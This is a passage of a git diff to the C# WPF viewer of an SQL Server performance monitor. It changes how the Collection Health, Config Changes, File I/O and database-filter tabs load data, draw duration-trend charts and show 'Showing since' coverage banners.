 using System.Threading.Tasks;
 using System.Windows;
+using System.Windows.Controls;
 using System.Windows.Input;
 using PerformanceMonitor.Ui;
+using PerformanceMonitor.Darling.Storage;
 
 namespace PerformanceMonitor.Darling.Viewer;
 
@@ -24,7 +26,9 @@ namespace PerformanceMonitor.Darling.Viewer;
 /// <c>CollectionHealthGrid_MouseDoubleClick</c> drill, and <c>UpdateCollectorDurationChart</c>), reads
 /// rewired to Postgres. It REPLACES the shell's single latest-run-per-collector grid. Health Summary =
 /// the 7-day per-collector aggregate (double-click opens the per-collector CollectionLogWindow drill);
-/// Collection Log = the recent run log; Duration Trends = the per-collector success-duration scatter.
+/// Collection Log = the recent run log (the newest <see cref="ViewerDataService.CollectionLogRowCap"/> runs of the range);
+/// Duration Trends = the per-collector success-duration lines, drawn from their own bucketed read over the whole range (#4966), not
+/// from the grid's page: a page of the newest 500 runs ends wherever the 500th falls, and the chart's axis spans the range.
 /// The chart's only render-body change from Lite is the time axis: where Lite shifts the raw stored
 /// time by its per-server <c>UtcOffsetMinutes</c>, the viewer plots every point at its naive-UTC instant
 /// and draws the labels in <see cref="ViewerTimeHelper.CurrentDisplayZone"/> (the convention every Darling
@@ -48,12 +52,15 @@ private void InitializeCollectionHealthChart()
     }
 
     /// <summary>
-    /// Collection Health tab load: the 7-day per-collector health aggregate and the recent collection
-    /// log read concurrently (NpgsqlDataSource pools a connection for each), then each grid goes through
-    /// its filter manager's UpdateData so active column filters survive the refresh, and the log also
-    /// feeds the Duration Trends chart. Mirrors Lite's <c>RefreshCollectionHealthAsync</c> — but the
+    /// Collection Health tab load: the 7-day per-collector health aggregate, the recent collection
+    /// log and the Duration Trends chart's own bucketed read (#4966) concurrently (NpgsqlDataSource pools a
+    /// connection for each), then each grid goes through
+    /// its filter manager's UpdateData so active column filters survive the refresh, and the chart draws its read's
+    /// buckets over the whole range rather than the log's page. Mirrors Lite's <c>RefreshCollectionHealthAsync</c> — but the
     /// reads are genuinely async, so there is no Task.Run wrap. LoadInnerTabAsync owns the try/catch that
-    /// surfaces failures on the status bar.
+    /// surfaces failures on the status bar. The chart's read is the one a failure does not fail the load: it is wrapped as Lite's
+    /// <c>SafeQueryAsync</c> wraps a read (<see cref="ReadOrEmptyAsync{T}"/>), so it blanks the chart and nothing else. What the
+    /// tab draws once its reads are in, and in which order, is <see cref="ShowCollectionHealthAsync"/>.
     /// </summary>
     private async Task LoadHealthAsync()
     {
@@ -62,23 +69,121 @@ private async Task LoadHealthAsync()
            settable window EXACTLY — a preset or a custom From/To — via GetWindowUtc(), matching the Wait
            Stats / Blocking tabs (the old GetWindowHoursBack() rounded a custom range to a now-relative span). */
         var (startUtc, endUtc) = GetWindowUtc();
-        using var readFanOut = ViewerReadFanOut.Of(3);
+        using var readFanOut = ViewerReadFanOut.Of(5);
         var healthTask = _dataService.GetCollectionHealthAsync(_server.ServerId);
+        var dataStartTask = _dataService.GetCollectionLogDataStartAsync(_server.ServerId, startUtc, endUtc);
         var logTask = _dataService.GetRecentCollectionLogAsync(_server.ServerId, startUtc, endUtc);
+        /* The chart's own read (#4966): the grid's page ends at the 500th newest run, and this chart's axis spans the range. It has no
+           row cap, so over a wide range on a busy store it is the read likeliest to time out, and it feeds the chart alone: wrapped as
+           Lite wraps a read (SafeQueryAsync), its failure is logged and blanks the chart, where a bare one would fail the join below
+           and leave both grids, the note and the caveats undrawn. */
+        var durationTask = ReadOrEmptyAsync(() => _dataService.GetCollectorDurationTrendAsync(_server.ServerId, startUtc, endUtc), "Collection Health duration chart");
         var caveatsTask = _dataService.GetCollectionCaveatsAsync(_server.ServerId);
-        await Task.WhenAll(healthTask, logTask, caveatsTask);
+        await AwaitReadWatchingProbeAsync(Task.WhenAll(healthTask, logTask, durationTask, caveatsTask), dataStartTask, "Collection Log");
 
-        _collectionHealthFilterMgr!.UpdateData(healthTask.Result);
-        _collectionLogFilterMgr!.UpdateData(logTask.Result);
-        RenderCollectorDurationChart(logTask.Result);
+        /* The four reads are done: end the declared width here, before the data-start note below awaits its probe (#4966), so that
+           await is not priced against contention that has already finished. */
+        readFanOut.Release();
 
-        /* #3691 part a2: collapse the section entirely when there is nothing to report — the common case
-           (a healthy analysis pass, or a store below V141) — rather than showing an empty grid. */
-        var caveats = caveatsTask.Result;
+        await ShowCollectionHealthAsync(
+            healthTask.Result, logTask.Result, durationTask.Result, caveatsTask.Result, dataStartTask, startUtc, CollectionLogTruncationBanner,
+            _collectionHealthFilterMgr!.UpdateData, _collectionLogFilterMgr!.UpdateData, RenderCollectorDurationChart, ShowCollectionCaveats);
+    }
+
+    /// <summary>
+    /// What the Collection Health load does once its reads are in (#4966), in the order it does it: the two grids, then the chart and
+    /// the caveats, then the Collection Log grid's "Showing since" note LAST. The note is the one step that can wait: it awaits the
+    /// data-start probe (<see cref="ShowCollectionLogDataStartAsync"/>), and a probe on a slow store must not hold back a chart and a
+    /// caveats list whose reads are already in. A step of its own, with the drawing handed in, so a test drives the tab's own order on
+    /// real controls and a probe that never answers.
+    /// </summary>
+    /// <param name="health">The Health Summary rows.</param>
+    /// <param name="log">The Collection Log grid's page.</param>
+    /// <param name="trend">The Duration Trends chart's buckets (empty when its read failed, <see cref="ReadOrEmptyAsync{T}"/>).</param>
+    /// <param name="caveats">The analysis caveats.</param>
+    /// <param name="probe">The data-start probe the tab started beside its reads.</param>
+    /// <param name="startUtc">The start of the range the grid just drew.</param>
+    /// <param name="banner">The Collection Log grid's banner.</param>
+    /// <param name="showHealth">Gives the Health Summary grid its rows.</param>
+    /// <param name="showLog">Gives the Collection Log grid its page.</param>
+    /// <param name="drawChart">Draws the Duration Trends chart.</param>
+    /// <param name="showCaveats">Shows the caveats section.</param>
+    /// <param name="warn">Takes the log source and message of a failed probe; <see cref="ViewerLogger.Warn"/> by default.</param>
+    internal static async Task ShowCollectionHealthAsync(
+        List<CollectorHealthRow> health, List<CollectionLogRow> log, List<CollectorDurationBucket> trend, List<CollectionCaveatRow> caveats,
+        Task<DateTime?> probe, DateTime startUtc, TextBlock banner,
+        Action<List<CollectorHealthRow>> showHealth, Action<List<CollectionLogRow>> showLog, Action<List<CollectorDurationBucket>> drawChart,
+        Action<List<CollectionCaveatRow>> showCaveats, Action<string, string>? warn = null)
+    {
+        showHealth(health);
+        showLog(log);
+        drawChart(trend);
+        showCaveats(caveats);
+        await ShowCollectionLogDataStartAsync(banner, probe, startUtc, log, warn);
+    }
+
+    /// <summary>
+    /// #3691 part a2: collapse the caveats section entirely when there is nothing to report — the common case
+    /// (a healthy analysis pass, or a store below V141) — rather than showing an empty grid.
+    /// </summary>
+    private void ShowCollectionCaveats(List<CollectionCaveatRow> caveats)
+    {
         CollectionCaveatsGrid.ItemsSource = caveats;
         CollectionCaveatsExpander.Visibility = caveats.Count > 0 ? Visibility.Visible : Visibility.Collapsed;
     }
 
+    /// <summary>
+    /// A read whose failure costs only what it feeds, as Lite's <c>ServerTab.SafeQueryAsync</c> wraps a trend read: the failure is
+    /// logged (<paramref name="warn"/> takes the log source and the message, <see cref="ViewerLogger.Warn"/> by default) and the read
+    /// answers an empty list, so the part of the tab it feeds draws empty and the reads beside it in the same join still draw. A
+    /// cancelled read is not a failure and still throws.
+    /// </summary>
+    /// <param name="read">The read, started by the call.</param>
+    /// <param name="surface">The part of the tab the read feeds, for the log line.</param>
+    /// <param name="warn">Takes the log source and the message.</param>
+    internal static async Task<List<T>> ReadOrEmptyAsync<T>(Func<Task<List<T>>> read, string surface, Action<string, string>? warn = null)
+    {
+        try
+        {
+            return await read();
+        }
+        catch (Exception ex) when (ex is not OperationCanceledException)
+        {
+            (warn ?? ViewerLogger.Warn)(
+                "ViewerServerTab",
+                $"{surface}: its read failed, so it is drawn empty and the rest of the tab is not affected | {ex.GetType().Name}: {ex.Message}");
+            return new List<T>();
+        }
+    }
+
+    /// <summary>
+    /// The Collection Log grid's "Showing since" note (#4966): the grid says where the log starts when the range reaches before it.
+    /// The read keeps the newest <see cref="ViewerDataService.CollectionLogRowCap"/> runs, so a full page names its oldest run,
+    /// whatever the store covers, with no slack; a page under the cap names the earlier of the probe's answer (the later of the
+    /// server's first collection and the log's retention edge, never a collector's first run) and its earliest run. A step of its
+    /// own so a test drives the tab's banner call on a real store.
+    /// <para>A full page does not wait for the probe: its note names its oldest run whatever the probe answers
+    /// (<see cref="ViewerEventDataStart.Of"/>), so a probe still running on a slow store would hold back a note that needs nothing
+    /// from it. The probe is still watched, so one that fails is logged as any other (<see cref="DataStartAnswerAsync"/>).</para>
+    /// </summary>
+    /// <param name="banner">The grid's banner.</param>
+    /// <param name="probe">The data-start probe the tab started beside its read.</param>
+    /// <param name="startUtc">The start of the range the grid just drew.</param>
+    /// <param name="shown">The runs the read returned.</param>
+    /// <param name="warn">Takes the log source and message of a failed probe; <see cref="ViewerLogger.Warn"/> by default.</param>
+    internal static Task ShowCollectionLogDataStartAsync(
+        TextBlock banner, Task<DateTime?> probe, DateTime startUtc, IEnumerable<CollectionLogRow> shown, Action<string, string>? warn = null)
+    {
+        var shownTimes = shown.Select(r => (DateTime?)r.CollectionTime).ToList();
+        if (ViewerEventDataStart.ReadHitCap(shownTimes.Count, ViewerDataService.CollectionLogRowCap))
+        {
+            _ = DataStartAnswerAsync(probe, "Collection Log", warn);
+            probe = Task.FromResult<DateTime?>(null);
+        }
+
+        return ShowEventDataStartAsync(banner, probe, "Collection Log", startUtc, shownTimes, ViewerDataService.CollectionLogRowCap);
+    }
+
     /// <summary>
     /// "Purge Now" (Collection Health): runs the daily retention purge on demand via the fleet-wide
     /// <c>purge_now</c> control command, after a confirm — it permanently deletes collected data older than the
@@ -301,17 +406,26 @@ private void CollectionHealthGrid_MouseDoubleClick(object sender, MouseButtonEve
     }
 
     /// <summary>
-    /// Per-collector success-duration scatter over the window. Copied from Lite's
+    /// Per-collector success-duration lines over the window. Copied from Lite's
     /// <c>UpdateCollectorDurationChart</c>: one line per collector (SUCCESS runs with a duration, needing
-    /// at least two points), cycling the shared palette. The one change is the time axis — every point's X
+    /// at least two points), cycling the shared palette. Two changes. The time axis: every point's X
     /// is the naive-UTC instant itself, drawn in <see cref="ViewerTimeHelper.CurrentDisplayZone"/> (Lite
     /// shifts by its per-server UtcOffsetMinutes) — and line polish uses the shared <see cref="ChartStyle.StyleScatter"/>.
+    /// And the feed (#4966): the buckets of <see cref="ViewerDataService.GetCollectorDurationTrendAsync"/> over the whole range,
+    /// not the Collection Log grid's page of the newest runs, so the lines reach across the axis the range pins. A point is a
+    /// bucket and draws its MAXIMUM, so a slow run still shows however wide the bucket is (a minute for 24 hours, ten for 7 days);
+    /// a point's hover names the collector, that maximum and the bucket's start, and a fourth line says how many runs the maximum
+    /// is the slowest of and what the bucket's average took (<see cref="CollectorDurationSeries.DetailsByX"/>, the words Lite's chart
+    /// uses). The lines are drawn by <see cref="PlotCollectorDurationSeries"/>.
     /// </summary>
-    private void RenderCollectorDurationChart(List<CollectionLogRow> data)
+    private void RenderCollectorDurationChart(List<CollectorDurationBucket> data)
     {
         ClearChart(CollectorDurationChart);
         ApplyTheme(CollectorDurationChart);
 
+        /* The old lines are off the plot: drop them from the hover as well, or an empty range would still tooltip their points. */
+        _collectorDurationHover?.Clear();
+
         /* Pin the X axis to the toolbar's settable window (the same idiom as the wait / tempdb-size charts)
            rather than AutoScale()'ing to the data — an AutoScale fits X to the data plus ScottPlot's ~10%
            side margins, which reads as symmetric dead space. This is the one chart the #1483/#1484/#1487
@@ -329,40 +443,42 @@ rather than AutoScale()'ing to the data — an AutoScale fits X to the data plus
             return;
         }
 
-        /* Group by collector, plot each as a separate series */
-        var groups = data
-            .Where(d => d.DurationMs.HasValue && d.Status == "SUCCESS")
-            .GroupBy(d => d.CollectorName)
-            .OrderBy(g => g.Key)
-            .ToList();
-
-        _collectorDurationHover?.Clear();
-        int colorIdx = 0;
-        foreach (var group in groups)
-        {
-            var points = group.OrderBy(d => d.CollectionTime).ToList();
-            if (points.Count < 2) continue;
-
-            var times = points.Select(d => d.CollectionTime.ToOADate()).ToArray();
-            var durations = points.Select(d => (double)d.DurationMs!.Value).ToArray();
-
-            var scatter = CollectorDurationChart.Plot.Add.TimeSeries(times, durations);
-            scatter.LegendText = group.Key;
-            scatter.Color = ScottPlot.Color.FromHex(SeriesColors[colorIdx % SeriesColors.Length]);
-            ChartStyle.StyleScatter(scatter);
-            _collectorDurationHover?.Add(scatter, group.Key);
-            colorIdx++;
-        }
+        /* Group by collector, plot each as a separate series: its bucket maxima, in collector then time order. */
+        PlotCollectorDurationSeries(CollectorDurationChart, _collectorDurationHover, CollectorDurationSeries.Build(data));
 
         CollectorDurationChart.Plot.Axes.DateTimeTicksBottomUtc(ViewerTimeHelper.CurrentDisplayZone);
         ReapplyAxisColors(CollectorDurationChart);
-        CollectorDurationChart.Plot.YLabel("Duration (ms)");
+        CollectorDurationChart.Plot.YLabel("Slowest run per bucket (ms)");
         CollectorDurationChart.Plot.Axes.AutoScaleY();
         CollectorDurationChart.Plot.Axes.SetLimitsX(rangeStart, rangeEnd);
         ShowChartLegend(CollectorDurationChart);
         CollectorDurationChart.Refresh();
     }
 
+    /// <summary>
+    /// Draws the series on <paramref name="chart"/> (the lines only: the axes, the legend and the refresh stay with the render) and
+    /// registers each with <paramref name="hover"/> when there is one, with the line that says what stands behind each point
+    /// (<see cref="CollectorDurationSeries.DetailsByX"/>, #4966). The details are keyed by X because the line breaks at every collection
+    /// gap by inserting a point of its own, so a hover counted by position would say the next bucket's runs after the first break.
+    /// <c>internal static</c> so the tests draw the real lines on a real chart and ask the hover what it says.
+    /// </summary>
+    /// <param name="chart">The Duration Trends chart.</param>
+    /// <param name="hover">The chart's hover helper; null draws the lines without a hover.</param>
+    /// <param name="series">The lines, one per collector, in collector order (which sets the palette).</param>
+    internal static void PlotCollectorDurationSeries(ScottPlot.WPF.WpfPlot chart, ChartHoverHelper? hover, IReadOnlyList<CollectorDurationSeries> series)
+    {
+        int colorIdx = 0;
+        foreach (var line in series)
+        {
+            var scatter = chart.Plot.Add.TimeSeries(line.Times, line.MaxMs);
+            scatter.LegendText = line.Collector;
+            scatter.Color = ScottPlot.Color.FromHex(SeriesColors[colorIdx % SeriesColors.Length]);
+            ChartStyle.StyleScatter(scatter);
+            hover?.Add(scatter, line.Collector, line.DetailsByX());
+            colorIdx++;
+        }
+    }
+
     /// <summary>Tears down the Duration Trends hover helper and ends any purge watch. Forwarded to from the tab's single Dispose().</summary>
     private void DisposeCollectionHealthHelpers()
     {
diff --git a/Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.ConfigChanges.cs b/Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.ConfigChanges.cs
index 948b4be11a..33363e94be 100644
--- a/Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.ConfigChanges.cs
+++ b/Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.ConfigChanges.cs
@@ -6,6 +6,8 @@
  * Licensed under the MIT License. See LICENSE file in the project root for full license information.
  */
 
+using System;
+using System.Linq;
 using System.Threading.Tasks;
 using System.Windows;
 using System.Windows.Controls;
@@ -29,13 +31,25 @@ private async Task LoadConfigChangesAsync()
     {
         var (startUtc, endUtc) = GetWindowUtc();
 
-        using var readFanOut = ViewerReadFanOut.Of(3);
+        /* Six reads start together: the three change histories and the three data-start probes beside them (#4966). */
+        using var readFanOut = ViewerReadFanOut.Of(6);
+
+        /* #4966: each grid says where its snapshots start when the range reaches before it. Every history diffs the snapshots one
+           collector writes, so each has its own probe (server_config, database_config, trace_flags), started beside its read. */
+        var serverStartTask = _dataService.GetServerConfigChangesDataStartAsync(_server.ServerId, startUtc, endUtc);
+        var databaseStartTask = _dataService.GetDatabaseConfigChangesDataStartAsync(_server.ServerId, startUtc, endUtc);
+        var traceFlagStartTask = _dataService.GetTraceFlagChangesDataStartAsync(_server.ServerId, startUtc, endUtc);
 
         var serverTask = _dataService.GetServerConfigChangesAsync(_server.ServerId, startUtc, endUtc);
         var databaseTask = _dataService.GetDatabaseConfigChangesAsync(_server.ServerId, startUtc, endUtc, databaseNames: SelectedDatabaseFilter);
         var traceFlagTask = _dataService.GetTraceFlagChangesAsync(_server.ServerId, startUtc, endUtc);
 
-        await Task.WhenAll(serverTask, databaseTask, traceFlagTask);
+        /* One probe per grid: each wraps the read so a failing read watches all three. */
+        await AwaitReadWatchingProbeAsync(
+            AwaitReadWatchingProbeAsync(
+                AwaitReadWatchingProbeAsync(Task.WhenAll(serverTask, databaseTask, traceFlagTask), serverStartTask, "Server Config Changes"),
+                databaseStartTask, "Database Config Changes"),
+            traceFlagStartTask, "Trace Flag Changes");
 
         /* The three are done, and the not-collected notes below may read the store again. Release here so those reads are not
            priced against contention that has already finished. */
@@ -59,5 +73,12 @@ so in place of the "no changes in this window" text. Database config changes com
         ServerConfigChangesNoDataMessage.Visibility = serverChanges.Count == 0 ? Visibility.Visible : Visibility.Collapsed;
         DatabaseConfigChangesNoDataMessage.Visibility = databaseChanges.Count == 0 ? Visibility.Visible : Visibility.Collapsed;
         TraceFlagChangesNoDataMessage.Visibility = traceFlagChanges.Count == 0 ? Visibility.Visible : Visibility.Collapsed;
+
+        /* #4966: a change's time is a snapshot's capture time, so the rows can never come before the table's coverage, and the
+           notice names the earlier of the probe's answer and the earliest change shown. None of the three reads is capped (each
+           diffs every snapshot up to the window's end), so none passes a row cap. */
+        await ShowEventDataStartAsync(ServerConfigChangesTruncationBanner, serverStartTask, "Server Config Changes", startUtc, serverChanges.Select(r => (DateTime?)r.ChangeTime));
+        await ShowEventDataStartAsync(DatabaseConfigChangesTruncationBanner, databaseStartTask, "Database Config Changes", startUtc, databaseChanges.Select(r => (DateTime?)r.ChangeTime));
+        await ShowEventDataStartAsync(TraceFlagChangesTruncationBanner, traceFlagStartTask, "Trace Flag Changes", startUtc, traceFlagChanges.Select(r => (DateTime?)r.ChangeTime));
     }
 }
diff --git a/Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.CopyExport.cs b/Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.CopyExport.cs
index eb27022ce8..7daaf2cf44 100644
--- a/Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.CopyExport.cs
+++ b/Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.CopyExport.cs
@@ -145,12 +145,12 @@ through to a plan-less repro. */
     private void DownloadBlockedProcessXml_Click(object sender, RoutedEventArgs e)
     {
         if (sender is not Button btn || btn.DataContext is not ViewerBlockedProcessRow row || string.IsNullOrEmpty(row.BlockedProcessReportXml)) return;
-        SaveXmlToFile(row.BlockedProcessReportXml, $"blocked_process_{row.EventTime:yyyyMMdd_HHmmss}.xml", "blocked process XML");
+        SaveXmlToFile(row.BlockedProcessReportXml, $"blocked_process_{row.EventTime:yyyyMMdd_HHmmss}.xml", "blocked process XML", "blocked process report");
     }
 
     private void DownloadDeadlockXml_Click(object sender, RoutedEventArgs e)
     {
         if (sender is not Button btn || btn.DataContext is not DeadlockProcessDetail row || string.IsNullOrEmpty(row.DeadlockGraphXml)) return;
-        SaveXmlToFile(row.DeadlockGraphXml, $"deadlock_{row.DeadlockTime:yyyyMMdd_HHmmss}.xml", "deadlock XML");
+        SaveXmlToFile(row.DeadlockGraphXml, $"deadlock_{row.DeadlockTime:yyyyMMdd_HHmmss}.xml", "deadlock XML", "deadlock graph");
     }
 }
diff --git a/Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.CpuScheduler.cs b/Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.CpuScheduler.cs
index 3812c27a77..70d15e3620 100644
--- a/Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.CpuScheduler.cs
+++ b/Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.CpuScheduler.cs
@@ -57,7 +57,7 @@ private async Task LoadCpuSchedulerAsync()
         await Task.WhenAll(trendTask, snapshotTask);
 
         RenderCpuSchedulerChart(trendTask.Result);
-        CpuSchedulerGrid.ItemsSource = CpuSchedulerMetrics.BuildMetrics(snapshotTask.Result);
+        CpuSchedulerGrid.ItemsSource = CpuSchedulerGridRow.Build(snapshotTask.Result);
 
         var gap = CpuSchedulerGapNote(_server.ServerName, _server.EngineEdition, _server.EngineKind);
         CpuSchedulerNoDataMessage.Text = gap ?? "";
diff --git a/Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.DatabaseFilter.cs b/Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.DatabaseFilter.cs
index f3d6d37311..1b203a15de 100644
--- a/Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.DatabaseFilter.cs
+++ b/Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.DatabaseFilter.cs
@@ -47,6 +47,7 @@ private async void DatabaseFilterButton_Click(object sender, RoutedEventArgs e)
     private async Task PopulateDatabaseFilterPickerAsync()
     {
         List<string> names;
+        var readSucceeded = true;
         try
         {
             names = await _dataService.GetCollectedDatabaseNamesAsync(_server.ServerId);
@@ -55,9 +56,12 @@ private async Task PopulateDatabaseFilterPickerAsync()
         {
             Debug.WriteLine($"ViewerServerTab: GetCollectedDatabaseNamesAsync failed for '{_server.DisplayName}': {ex.Message}");
             names = new List<string>();
+            readSucceeded = false;
         }
 
         _databaseFilterTotalCount = names.Count;
+        /* #5554: kept for the Select All rule; a failed read leaves it null, so a sticky filter is never widened to All. */
+        _databaseFilterCollectedNames = readSucceeded ? names : null;
 
         var union = new List<string>(names);
         foreach (var sel in _selectedDatabases)
@@ -127,13 +131,12 @@ private void DatabaseFilterClearAll_Click(object sender, RoutedEventArgs e)
 
     private void SyncSelectedDatabasesFromItems()
     {
+        /* Release walk V12c: every box ticked (Select All, or the last box ticked by hand) is "All", not a real filter that
+           names every database collected so far and leaves out the next one. */
         _selectedDatabases.Clear();
-        foreach (var item in _databaseFilterItems)
+        foreach (var name in DatabaseFilterSelection.Stored(_databaseFilterItems.Select(i => (i.DisplayName, i.IsSelected)).ToList(), _databaseFilterCollectedNames))
         {
-            if (item.IsSelected)
-            {
-                _selectedDatabases.Add(item.DisplayName);
-            }
+            _selectedDatabases.Add(name);
         }
         _databaseFilterDirty = true;
         UpdateDatabaseFilterLabel();
diff --git a/Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.EngineGaps.cs b/Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.EngineGaps.cs
index 89b9d81314..13874caf16 100644
--- a/Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.EngineGaps.cs
+++ b/Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.EngineGaps.cs
@@ -178,11 +178,27 @@ internal static (string Text, Visibility Visibility) EngineGapStateFromRuns(
     /// Fills a surface's message element once its data is bound, with what <see cref="EngineGapStateFromRuns"/> says for this
     /// server.
     /// </summary>
-    private async Task ShowEngineGapAsync(TextBlock message, string collectorName, int rowCount)
+    /// <param name="keepsOwnEmptyText">Whether the element has its own words to show when the surface is empty and no note applies
+    /// (the Trace Flags grid: "No trace flags are enabled"). The note's sentence replaces them where it applies.</param>
+    private async Task ShowEngineGapAsync(TextBlock message, string collectorName, int rowCount, bool keepsOwnEmptyText = false)
     {
         var (text, visibility) = await EngineGapStateAsync(collectorName, rowCount);
-        message.Text = text;
-        message.Visibility = visibility;
+
+        if (!keepsOwnEmptyText)
+        {
+            message.Text = text;
+            message.Visibility = visibility;
+            return;
+        }
+
+        if (!_ownNoDataText.ContainsKey(message))
+        {
+            _ownNoDataText[message] = message.Text;
+        }
+
+        var gapShows = visibility == Visibility.Visible;
+        message.Text = gapShows ? text : _ownNoDataText[message];
+        message.Visibility = gapShows || rowCount == 0 ? Visibility.Visible : Visibility.Collapsed;
     }
 
     /// <summary>The words each change grid's empty-state element started with, so a note that stops applying hands them back.</summary>
diff --git a/Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.EventDataStart.cs b/Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.EventDataStart.cs
new file mode 100644
index 0000000000..41bb3eb9d3
--- /dev/null
+++ b/Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.EventDataStart.cs
@@ -0,0 +1,60 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Threading.Tasks;
+using System.Windows.Controls;
+using PerformanceMonitor.Darling.Storage;
+
+namespace PerformanceMonitor.Darling.Viewer;
+
+public partial class ViewerServerTab
+{
+    /// <summary>
+    /// Raises or hides the "Showing since" banner of an EVENT surface (#4966): a grid that filters on the event's own
+    /// time (blocked process reports, deadlocks), where a server's first collection stores the server's history, so a
+    /// row can carry an event time from before the coverage the probe found. The banner names the earlier of the
+    /// probe's answer and the earliest event the grid shows (<see cref="ViewerEventDataStart.Of"/>), never a time later
+    /// than a row on screen, including when the probe found no coverage in the window (a range that ends before the server's
+    /// first collection lists the history that collection stored). The probe is awaited through
+    /// <see cref="DataStartAnswerAsync"/>, so a probe that throws costs this banner and nothing after it.
+    /// </summary>
+    /// <param name="banner">The surface's banner.</param>
+    /// <param name="probe">The surface's data-start probe, started beside its read.</param>
+    /// <param name="surface">The surface's name, for the log line a failed probe writes.</param>
+    /// <param name="startUtc">The start of the window the grid just drew.</param>
+    /// <param name="shownEventTimesUtc">The event time of each row the grid shows (naive UTC; null when a row has none).</param>
+    /// <param name="rowCap">The newest-first row cap of the grid's read, or null for a read with none. A read that returned that
+    /// many rows names its oldest row, whatever the store covers (<see cref="ViewerEventDataStart.ReadHitCap"/>).</param>
+    /// <param name="cappedSourceOldestUtc">For a grid merged from several reads, the oldest row of the one that filled its own
+    /// cap (<see cref="ViewerEventDataStart.CappedSourceStart"/>), or null when none did: the merge can hold fewer rows than
+    /// <paramref name="rowCap"/> while that read left older rows out. It bounds the grid like the cap above, with no slack.</param>
+    internal static async Task ShowEventDataStartAsync(
+        TextBlock banner, Task<DateTime?> probe, string surface, DateTime startUtc, IEnumerable<DateTime?> shownEventTimesUtc, int? rowCap = null,
+        DateTime? cappedSourceOldestUtc = null)
+    {
+        /* A probe that threw is hidden (Failed); one that found no coverage in the window (Start null) is not, because the grid can
+           still list history from before the server's first collection and the notice then names its earliest event. */
+        var (probeFailed, coverageStart) = await DataStartAnswerAsync(probe, surface);
+        var shown = shownEventTimesUtc.ToList();
+        var earliestShown = ViewerEventDataStart.EarliestOf(shown);
+        var readHitCap = ViewerEventDataStart.ReadHitCap(shown.Count, rowCap);
+
+        /* The slack (RawWindowFloor.IsTruncated, 90 minutes) belongs to the coverage probe alone: it absorbs a first collection that
+           lands a little after the window starts. A read that filled its cap dropped rows for certain, so its verdict has no slack:
+           the banner shows whenever the oldest row shown is later than the window's start, which on a range of an hour or less is
+           the only way it can show at all. The compared start moves back by the slack so the shared check lands on that bare
+           comparison, and the banner still names the oldest row. */
+        var capped = (readHitCap && earliestShown is not null) || cappedSourceOldestUtc is not null;
+        var comparedStartUtc = capped ? startUtc - DurationTrendRouting.TruncationSlack : startUtc;
+        UpdateTruncationBanner(
+            banner, ViewerEventDataStart.Of(coverageStart, earliestShown, readHitCap, probeFailed, cappedSourceOldestUtc), comparedStartUtc);
+    }
+}
diff --git a/Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.FileIo.cs b/Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.FileIo.cs
index 5a70db5947..3be682aa88 100644
--- a/Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.FileIo.cs
+++ b/Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.FileIo.cs
@@ -85,12 +85,12 @@ private async Task LoadFileIoAsync()
         switch (FileIoSubTabs.SelectedIndex)
         {
             case 1: // File I/O Throughput
-                var throughput = await _dataService.GetFileIoThroughputTrendAsync(_server.ServerId, startUtc, endUtc);
+                var throughput = await _dataService.GetFileIoThroughputTrendAsync(_server.ServerId, startUtc, endUtc, databaseNames: SelectedDatabaseFilter);
                 RenderFileIoThroughputCharts(throughput, startUtc, endUtc);
                 break;
             case 0: // File I/O Latency
             default:
-                var latency = await _dataService.GetFileIoLatencyTrendAsync(_server.ServerId, startUtc, endUtc);
+                var latency = await _dataService.GetFileIoLatencyTrendAsync(_server.ServerId, startUtc, endUtc, databaseNames: SelectedDatabaseFilter);
                 RenderFileIoLatencyCharts(latency, startUtc, endUtc);
                 break;
         }
@@ -120,53 +120,46 @@ private void RenderFileIoLatencyCharts(List<FileIoLatencyPoint> data, DateTime s
             return;
         }
 
-        /* Group by file, limit to top 10 by total stall */
-        var databases = data
-            .GroupBy(d => $"{d.DatabaseName}.{d.FileName}")
-            .OrderByDescending(g => g.Sum(d => d.AvgReadLatencyMs + d.AvgWriteLatencyMs))
-            .Take(10)
-            .ToList();
+        /* Release walk V9 (chart side): the read gives up to twenty files, the ten busiest by reads and the
+           ten busiest by writes, and each chart takes its own ten as the read ranked them (FileIoChartFiles). Ranking
+           the combined list by summed latency kept ten log files and no data file on the read chart. A file drawn on
+           both charts keeps one color. */
+        var readFiles = FileIoChartFiles.ReadChartFiles(data, d => $"{d.DatabaseName}.{d.FileName}", d => d.InReadTen);
+        var writeFiles = FileIoChartFiles.WriteChartFiles(data, d => $"{d.DatabaseName}.{d.FileName}", d => d.InWriteTen);
 
         double readMax = 0, writeMax = 0;
-        int colorIdx = 0;
+        var fileColors = new Dictionary<string, ScottPlot.Color>();
+        ScottPlot.Color ColorOf(string key)
+        {
+            if (!fileColors.TryGetValue(key, out var c))
+            {
